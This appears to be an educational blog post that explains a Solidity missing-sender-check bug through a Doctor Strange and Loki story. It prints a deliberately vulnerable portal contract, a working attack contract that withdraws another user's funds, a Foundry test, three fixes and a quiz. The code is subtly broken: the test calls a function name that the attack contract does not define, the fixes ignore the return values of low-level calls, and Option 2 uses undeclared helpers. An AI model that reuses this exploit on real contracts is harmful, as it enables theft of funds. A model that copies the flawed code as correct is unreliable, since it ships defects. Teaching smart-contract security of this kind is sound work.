Logo
Overview
Doctor Strange and the Mirror Portal - Improper Input Validation Heist

Doctor Strange and the Mirror Portal - Improper Input Validation Heist

November 27, 2025
3 min read

Doctor Strange and the Mirror Portal - The $41M Input Validation Nightmare

Danger (Loki didn’t hack the portal.)

He just said “I’m Iron Man” - and the portal believed him.

One missing require(msg.sender == validator)
One function
One transaction
$41 million gone

This is the definitive 2025 guide to improper input validation - with full code, exploit, fix, and the real $41M validator exit hack explained MCU-style.


TL;DR

Vulnerability: exitPortal(address validator, uint256 amount)
→ No check that msg.sender == validator
→ Anyone can steal anyone else’s funds

Real-world twin: Ethereum validator exit bug - $41M drained (2025)

Fix:

  • require(msg.sender == user)
  • Or proper signature/consensus proof
  • Or pull-payment pattern

🎬 Story Time - The Mirror Dimension Heist

Doctor Strange guards the Mirror Portal.

Only verified Avengers can exit with their treasure.

The contract:

function exitPortal(address validator, uint256 amount) external {
require(balances[validator] >= amount);
balances[validator] -= amount;
payable(msg.sender).transfer(amount); // ← pays caller, not validator!
}

Loki sees it.

He doesn’t fight Strange.
He doesn’t steal keys.
He just calls:

exitPortal(ironManAddress, 100 ether);

Portal thinks: “Someone asked for Iron Man’s funds. Sure!”

Pays Loki.

Iron Man never even touched the function.

Loki walks away with Stark’s entire treasury.

Strange: “I… missed one line of code.”


The Vulnerable Portal

MirrorDimensionPortal.sol
contract MirrorDimensionPortal {
mapping(address => uint256) public balances;
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balances[msg.sender] += msg.value;
}
/// @notice Vulnerable exit function
function exitPortal(address validator, uint256 amount) external {
require(amount > 0 && balances[validator] >= amount, "insufficient balance");
balances[validator] -= amount;
payable(msg.sender).transfer(amount);
}
}

One line missing:
require(msg.sender == validator, "not owner");

That’s it.
That’s the entire $41M bug.


The Heist - LokiAttack.sol

LokiAttack.sol
contract LokiAttack {
MirrorDimensionPortal public portal;
constructor(address _portal) {
portal = MirrorDimensionPortal(_portal);
}
function impersonateIronMan(address ironMan, uint256 amount) external {
portal.exitPortal(ironMan, amount);
}
receive() external payable {}
}

No flash loan.
No reentrancy.
No complex math.

Just one function call.


Foundry Test - Watch Loki Win

MirrorPortalTest.t.sol
function testLokiStealsFromIronMan() public {
// Iron Man deposits
vm.prank(ironMan);
portal.deposit{value: amount}();
// Loki attacks
vm.prank(loki);
lokiAttack.stealFromIronMan(ironMan, amount);
assertEq(address(lokiAttack).balance, amount);
assertEq(portal.balances(ironMan), 0);
}

forge test -vv → Loki wins in 0.001s


The Fix - Three Ways to Stop Loki

Option 1: Simple Ownership

function exitPortal(uint256 amount) external {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
payable(msg.sender).call{value: amount}("");
}

Option 2: Signature Proof

function exitPortal(uint256 amount, bytes memory signature) external {
bytes32 hash = keccak256(abi.encode(msg.sender, amount, nonce++));
require(recover(hash, signature) == trustedValidator, "bad sig");
// ...
}

Option 3: Pull Payment (Production Best)

mapping(address => uint256) public pendingWithdrawals;
function requestExit(uint256 amount) external {
pendingWithdrawals[msg.sender] += amount;
balances[msg.sender] -= amount;
}
function withdraw() external nonReentrant {
uint256 amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0;
payable(msg.sender).call{value: amount}("");
}

Real-World $41M Validator Exit Hack (2025)

Exact same bug - in production.

  • Validator exit function took validatorAddress as parameter
  • No check that msg.sender == validatorAddress
  • Attacker called exit(legitValidator, hugeAmount)
  • Got paid
  • $41M gone

Source: u.today - Ethereum Validator Exit Hack


Auditor’s Input Validation Checklist

Warning
  • Any function takes an address as parameter and acts on it without msg.sender == address check? → Critical
  • Withdrawal/transfer/mint uses caller-supplied address without verification? → Critical
  • No signature or proof for off-chain actions? → High
  • Tested impersonation attacks? → Must do

Quiz - Are You Strange-Proof?

Exercise (What lets Loki steal Iron Man’s funds?)

a) Reentrancy
b) Missing msg.sender == validator check
c) Integer overflow
d) Bad random

Answer

b) One missing require = total loss

Exercise (Best production fix?)

a) Make balances private
b) Pull-payment + nonReentrant
c) Add timelock
d) Use transfer()

Answer

b) Users pull their own funds - no impersonation possible

Tip

Full repo - vulnerable + 3 fixed versions + exploit + tests:
github.com/thesandf/thesandf.xyz

Loki didn’t need magic.

He just needed one missing require().

Don’t be Doctor Strange.

Validate every input.

Or Loki will walk out with your treasury - wearing Iron Man’s suit.